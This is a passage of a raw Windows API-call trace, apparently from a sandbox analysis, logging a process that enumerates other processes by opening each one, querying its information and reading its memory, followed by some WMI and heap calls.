hProcess=0x330, lpBaseAddress=0x20abba21864, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0182.384] free (_Block=0x20abc282120) [0182.385] CloseHandle (hObject=0x330) returned 1 [0182.385] _ui64tow_s (in: _Value=0x1304, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4868") returned 0x0 [0182.389] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4868") returned 4 [0182.390] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.390] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.403] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1304) returned 0x330 [0182.403] GetLastError () returned 0x0 [0182.403] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.417] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7c7a461018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.417] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.417] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x26d1dbf1c60, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.417] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x26d1dbf18c8, lpBuffer=0x2dc237c1c0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.418] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.419] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.419] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7c7a461020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.420] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x26d1dbf12b0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.420] malloc (_Size=0x54) returned 0x20abc2aaab0 [0182.420] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x26d1dbf1910, lpBuffer=0x20abc2aaab0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aaab0*, lpNumberOfBytesRead=0x0) returned 1 [0182.421] free (_Block=0x20abc2aaab0) [0182.421] CloseHandle (hObject=0x330) returned 1 [0182.422] _ui64tow_s (in: _Value=0xc34, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3124") returned 0x0 [0182.425] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3124") returned 4 [0182.426] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.426] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.439] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc34) returned 0x0 [0182.439] CloseHandle (hObject=0x0) returned 0 [0182.439] _ui64tow_s (in: _Value=0x4e8, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="1256") returned 0x0 [0182.443] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="1256") returned 4 [0182.444] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.444] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.468] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x330 [0182.468] GetLastError () returned 0x0 [0182.469] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.469] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3d9018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.469] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.469] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4f1c80, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.469] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4f18c8, lpBuffer=0x2dc237c1c0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.470] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.471] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.471] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3d9020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.471] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4f12b0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.471] malloc (_Size=0x58) returned 0x20abc2aadb0 [0182.471] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4f191e, lpBuffer=0x20abc2aadb0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aadb0*, lpNumberOfBytesRead=0x0) returned 1 [0182.472] free (_Block=0x20abc2aadb0) [0182.472] CloseHandle (hObject=0x330) returned 1 [0182.473] _ui64tow_s (in: _Value=0xbf4, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3060") returned 0x0 [0182.476] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3060") returned 4 [0182.477] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.477] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.490] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf4) returned 0x330 [0182.490] GetLastError () returned 0x0 [0182.491] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.491] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x36f018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.491] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.491] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x701dc0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.491] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x701a58, lpBuffer=0x2dc237c1c0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.492] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.493] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.493] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x36f020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.494] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x701440, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.494] malloc (_Size=0x5e) returned 0x20abc2803e0 [0182.494] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x701aae, lpBuffer=0x20abc2803e0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2803e0*, lpNumberOfBytesRead=0x0) returned 1 [0182.495] free (_Block=0x20abc2803e0) [0182.495] CloseHandle (hObject=0x330) returned 1 [0182.496] _ui64tow_s (in: _Value=0xb58, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="2904") returned 0x0 [0182.525] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="2904") returned 4 [0182.526] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.526] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.540] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb58) returned 0x330 [0182.540] GetLastError () returned 0x0 [0182.540] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.541] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x287018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.541] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.541] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5a1c70, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.541] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5a18c8, lpBuffer=0x2dc237c1c0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.542] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.543] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.543] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x287020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.543] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5a12b0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.543] malloc (_Size=0x58) returned 0x20abc2aa270 [0182.544] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5a191a, lpBuffer=0x20abc2aa270, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa270*, lpNumberOfBytesRead=0x0) returned 1 [0182.544] free (_Block=0x20abc2aa270) [0182.545] CloseHandle (hObject=0x330) returned 1 [0182.546] _ui64tow_s (in: _Value=0xcc0, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3264") returned 0x0 [0182.549] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3264") returned 4 [0182.550] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.550] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.574] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcc0) returned 0x330 [0182.574] GetLastError () returned 0x0 [0182.574] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.574] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x30a6ba5018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.574] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.575] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1cfba803670, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.575] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1cfba8032b4, lpBuffer=0x2dc237c1c0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.576] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.577] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.578] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x30a6ba5020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.578] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1cfba802c20, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.578] malloc (_Size=0xda) returned 0x20abc2867b0 [0182.578] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1cfba80330a, lpBuffer=0x20abc2867b0, nSize=0xd8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2867b0*, lpNumberOfBytesRead=0x0) returned 1 [0182.579] free (_Block=0x20abc2867b0) [0182.580] CloseHandle (hObject=0x330) returned 1 [0182.580] _ui64tow_s (in: _Value=0xcfc, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3324") returned 0x0 [0182.584] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3324") returned 4 [0182.586] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.586] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.599] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcfc) returned 0x330 [0182.599] GetLastError () returned 0x0 [0182.600] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.600] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xfde7f0a018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.600] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.600] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2e24fa41e70, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.600] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2e24fa41a58, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.601] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.602] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.602] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xfde7f0a020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.602] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2e24fa41440, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.603] malloc (_Size=0xf0) returned 0x20abc2867b0 [0182.603] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2e24fa41a98, lpBuffer=0x20abc2867b0, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2867b0*, lpNumberOfBytesRead=0x0) returned 1 [0182.603] free (_Block=0x20abc2867b0) [0182.604] CloseHandle (hObject=0x330) returned 1 [0182.604] _ui64tow_s (in: _Value=0xd18, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3352") returned 0x0 [0182.623] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3352") returned 4 [0182.624] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.625] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.642] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd18) returned 0x330 [0182.642] GetLastError () returned 0x0 [0182.642] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.642] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x6175995018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.642] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.643] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1b5f2d71e70, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.643] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1b5f2d71a58, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.644] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.646] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.646] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x6175995020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.646] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1b5f2d71440, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.646] malloc (_Size=0xf0) returned 0x20abc2867b0 [0182.646] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1b5f2d71a98, lpBuffer=0x20abc2867b0, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2867b0*, lpNumberOfBytesRead=0x0) returned 1 [0182.647] free (_Block=0x20abc2867b0) [0182.648] CloseHandle (hObject=0x330) returned 1 [0182.649] free (_Block=0x20abc286d60) [0182.649] malloc (_Size=0x48) returned 0x20abc27cb20 [0182.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc237d310 | out: lpSystemTimeAsFileTime=0x2dc237d310*(dwLowDateTime=0x28a155a9, dwHighDateTime=0x1d9eb0c)) [0182.650] SetEvent (hEvent=0x248) returned 1 [0182.692] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abc402130 [0182.692] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abc402130, pulNumLanguages=0x2dc237dd60 | out: pulNumLanguages=0x2dc237dd60) returned 1 [0182.692] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402130) returned 1 [0182.692] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402230) returned 1 [0188.452] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0188.453] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0188.682] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc4022c0 [0188.682] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba93550 [0188.682] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, 